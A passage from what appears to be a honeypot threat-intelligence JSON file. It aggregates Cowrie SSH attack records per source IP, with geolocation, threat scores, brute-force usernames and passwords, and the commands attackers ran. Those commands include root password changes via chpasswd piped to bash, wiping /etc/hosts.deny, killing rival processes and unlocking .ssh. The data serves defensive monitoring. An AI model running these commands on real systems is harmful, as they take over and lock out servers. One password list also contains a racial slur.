      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "warnight",
        "linux123",
        "!qazxsw2",
        "123Qwe",
        "1qaz@WSX3edc",
        "Kermit123@",
        "Welcome@1",
        "Zxcvbnm,./",
        "abc!123",
        "alpin",
        "apagar",
        "bella123",
        "casa",
        "desmond",
        "gc$gL0b@l",
        "grower",
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "loveyou"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"root:AmnwHaWxtlHa\"|chpasswd|bash",
        "echo \"root:zNjCZ3GCrCvC\"|chpasswd|bash",
        "echo \"warnight\\n4ikcnsoR65Rk\\n4ikcnsoR65Rk\\n\"|passwd",
        "echo \"warnight\\nsrbRXZaMMQjC\\nsrbRXZaMMQjC\\n\"|passwd",
        "echo -e \"warnight\\n4ikcnsoR65Rk\\n4ikcnsoR65Rk\"|passwd|bash",
        "echo -e \"warnight\\nsrbRXZaMMQjC\\nsrbRXZaMMQjC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:25:14.384000+00:00",
        "last_seen_30d": "2026-05-15T13:12:45.329000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 92
      }
    },
    "179.124.187.105": {
      "attack_count": 262,
      "first_seen": "2026-05-19T19:30:36.863Z",
      "last_seen": "2026-05-20T18:09:23.642Z",
      "sessions": 131,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 61908,
      "as_org": "Nova Net Telecomunicacoes Ltda",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 393,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:30:36.863000+00:00",
        "last_seen_30d": "2026-05-20T18:10:30.121000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 131
      }
    },
    "159.138.85.77": {
      "attack_count": 219,
      "first_seen": "2026-05-06T00:55:13.621Z",
      "last_seen": "2026-05-06T01:25:21.021Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "es",
        "guest",
        "test",
        "345gs5662d34",
        "admin_123",
        "deploy",
        "devuser",
        "ftp_test",
        "madmin",
        "matt",
        "odoo",
        "postgres",
        "server1",
        "sftpuser",
        "superadmin",
        "tempuser1",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "11111111",
        "123",
        "12345",
        "123456",
        "1qazXSW@3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "654321",
        "Pass",
        "Password1!",
        "Qwerty123.",
        "admin",
        "admin69",
        "admin_123",
        "asdlkj",
        "devuser@1234",
        "es123123",
        "ftp_test",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwert12345\\nSC6Hv0KxWOgZ\\nSC6Hv0KxWOgZ\\n\"|passwd",
        "echo -e \"qwert12345\\nSC6Hv0KxWOgZ\\nSC6Hv0KxWOgZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:55:13.621000+00:00",
        "last_seen_30d": "2026-05-06T01:26:29.876000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "107.180.88.176": {
      "attack_count": 213,
      "first_seen": "2026-05-31T05:45:16.739Z",
      "last_seen": "2026-05-31T06:10:27.552Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nagios",
        "superv",
        "admin1",
        "chrome",
        "eder",
        "samir",
        "tms",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123",
        "Hh@123456",
        "Lx123456@",
        "P@ssw0rd!!",
        "Password2026",
        "Qwerty123",
        "Sa@123456",
        "eder123",
        "nagios",
        "qaz123!@#",
        "s0p0rt3",
        "samir123",
        "tms2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nDqUlJIBP2fkH\\nDqUlJIBP2fkH\\n\"|passwd",
        "echo \"nagios\\nZY3RGA3Bjlff\\nZY3RGA3Bjlff\\n\"|passwd",
        "echo -e \"123456\\nDqUlJIBP2fkH\\nDqUlJIBP2fkH\"|passwd|bash",
        "echo -e \"nagios\\nZY3RGA3Bjlff\\nZY3RGA3Bjlff\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T05:45:16.739000+00:00",
        "last_seen_30d": "2026-05-31T06:11:36.571000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 43
      }
    },
    "4.184.246.230": {
      "attack_count": 213,
      "first_seen": "2026-05-24T02:00:50.601Z",
      "last_seen": "2026-05-24T02:49:32.948Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "info",
        "sysadmin",
        "chat",
        "elasticsearch",
        "hadi",
        "zhangsan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "1616",
        "Aaa",
        "Cisco123",
        "Sachin@123",
        "abc123456789",
        "admin123",
        "chat",
        "hadi123",
        "manoj",
        "pass123",
        "root@1234",
        "xy123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123\\ncrneeQ1NC0ce\\ncrneeQ1NC0ce\\n\"|passwd",
        "echo \"admin123\\n9zYVaBPGCHaD\\n9zYVaBPGCHaD\\n\"|passwd",
        "echo -e \"123123\\ncrneeQ1NC0ce\\ncrneeQ1NC0ce\"|passwd|bash",
        "echo -e \"admin123\\n9zYVaBPGCHaD\\n9zYVaBPGCHaD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:00:50.601000+00:00",
        "last_seen_30d": "2026-05-24T02:50:35.851000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 46
      }
    },
    "119.99.253.65": {
      "attack_count": 206,
      "first_seen": "2026-05-19T06:40:31.611Z",
      "last_seen": "2026-05-19T17:52:13.227Z",
      "sessions": 103,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 320,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:40:31.611000+00:00",
        "last_seen_30d": "2026-05-19T17:53:23.400000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 114
      }
    },
    "113.221.98.247": {
      "attack_count": 182,
      "first_seen": "2026-05-22T20:49:14.493Z",
      "last_seen": "2026-05-23T07:52:20.056Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:49:14.493000+00:00",
        "last_seen_30d": "2026-05-23T07:53:21.477000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 92
      }
    },
    "223.233.87.63": {
      "attack_count": 168,
      "first_seen": "2026-05-18T13:26:52.741Z",
      "last_seen": "2026-05-18T13:55:46.644Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!!@@",
        "1nt3rn3t!",
        "1qa2ws",
        "3245gs5662d34",
        "345gs5662d34",
        "System1234",
        "alysia",
        "blackturtle",
        "golfer",
        "idcez123",
        "insurgency",
        "ljm",
        "nigger",
        "p4sSw0rd",
        "p@ssw0rd",
        "qwerty123!",
        "rafi",
        "remotos",
        "roadkill",
        "syncmaster"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jA1O8909bA0E\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:26:52.741000+00:00",
        "last_seen_30d": "2026-05-18T13:56:56.041000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 50
      }
    },
    "196.189.51.246": {
      "attack_count": 159,
      "first_seen": "2026-05-29T19:12:38.446Z",
      "last_seen": "2026-05-29T19:55:18.343Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "pavan",
        "ubuntu",
        "345gs5662d34",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "pavan",
        "ubuntu",
        "zy123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"pavan\\nlV5VavrlSTuV\\nlV5VavrlSTuV\\n\"|passwd",
        "echo \"ubuntu\\nNGQxctr1B61Z\\nNGQxctr1B61Z\\n\"|passwd",
        "echo -e \"pavan\\nlV5VavrlSTuV\\nlV5VavrlSTuV\"|passwd|bash",
        "echo -e \"ubuntu\\nNGQxctr1B61Z\\nNGQxctr1B61Z\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:12:38.446000+00:00",
        "last_seen_30d": "2026-05-29T19:56:20.952000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 28
      }
    },
    "120.28.81.69": {
      "attack_count": 148,
      "first_seen": "2026-05-18T22:01:00.758Z",
      "last_seen": "2026-05-19T06:15:09.832Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Caloocan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:01:00.758000+00:00",
        "last_seen_30d": "2026-05-19T06:16:14.951000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 74
      }
    },
    "5.182.83.231": {
      "attack_count": 144,
      "first_seen": "2026-05-30T05:52:52.819Z",
      "last_seen": "2026-05-30T06:33:34.654Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "ca",
        "david",
        "git",
        "project",
        "tony"
      ],
      "passwords_attempted": [
        "123",
        "!@#$QWER1234qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "@dmin123",
        "Ab123456789",
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "Ba123456",
        "Dev@2024",
        "Hk@123456",
        "Lo123456",
        "P@ssw0rd",
        "Qwertyu1",
        "test1234",
        "test12345",
        "tony"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test12345\\nh4tZuU8mO9pf\\nh4tZuU8mO9pf\\n\"|passwd",
        "echo -e \"test12345\\nh4tZuU8mO9pf\\nh4tZuU8mO9pf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Orihuela",
      "asn": 200845,
      "as_org": "Avatel Telecom, SA",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T05:52:52.819000+00:00",
        "last_seen_30d": "2026-05-30T06:34:42.763000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "209.127.178.206": {
      "attack_count": 134,
      "first_seen": "2026-05-03T13:22:23.432Z",
      "last_seen": "2026-05-03T13:34:56.831Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 55286,
      "as_org": "B2 Net Solutions Inc.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:22:23.432000+00:00",
        "last_seen_30d": "2026-05-03T13:37:04.579000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 82
      }
    },
    "86.111.187.169": {
      "attack_count": 132,
      "first_seen": "2026-05-08T16:57:11.873Z",
      "last_seen": "2026-05-31T22:05:32.174Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 33182,
      "as_org": "HostDime.com, Inc.",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:57:11.873000+00:00",
        "last_seen_30d": "2026-05-31T22:06:38.212000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "177.93.250.69": {
      "attack_count": 124,
      "first_seen": "2026-05-20T20:01:22.482Z",
      "last_seen": "2026-05-21T06:23:58.937Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jacobina",
      "asn": 52995,
      "as_org": "TEN INTERNET Ltda",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T20:01:22.482000+00:00",
        "last_seen_30d": "2026-05-21T06:25:08.517000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 62
      }
    },
    "178.105.22.59": {
      "attack_count": 123,
      "first_seen": "2026-05-24T07:28:58.142Z",
      "last_seen": "2026-05-24T08:04:11.902Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "devman",
        "kafka",
        "scraper",
        "vpn",
        "yoyo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Amir@123",
        "P@ssword12345",
        "Server1234",
        "Yx123456.",
        "devman",
        "ghbdtn",
        "password",
        "scraper",
        "vpnpass",
        "yoyo",
        "zaq1@WSX"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:t8YSLkwZ5JTA\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:28:58.142000+00:00",
        "last_seen_30d": "2026-05-24T08:05:12.724000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "173.212.238.177": {
      "attack_count": 119,
      "first_seen": "2026-05-07T15:44:32.386Z",
      "last_seen": "2026-05-07T16:05:47.976Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "dbadmin",
        "root",
        "345gs5662d34",
        "guest",
        "hadoop",
        "svnuser",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456",
        "123asd",
        "3245gs5662d34",
        "345gs5662d34",
        "666666",
        "Abc123",
        "admin123qwe",
        "demo1234",
        "guest2024",
        "passtest",
        "svnuser",
        "test123$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nH77fJlzWBZfI\\nH77fJlzWBZfI\\n\"|passwd",
        "echo -e \"123456\\nH77fJlzWBZfI\\nH77fJlzWBZfI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
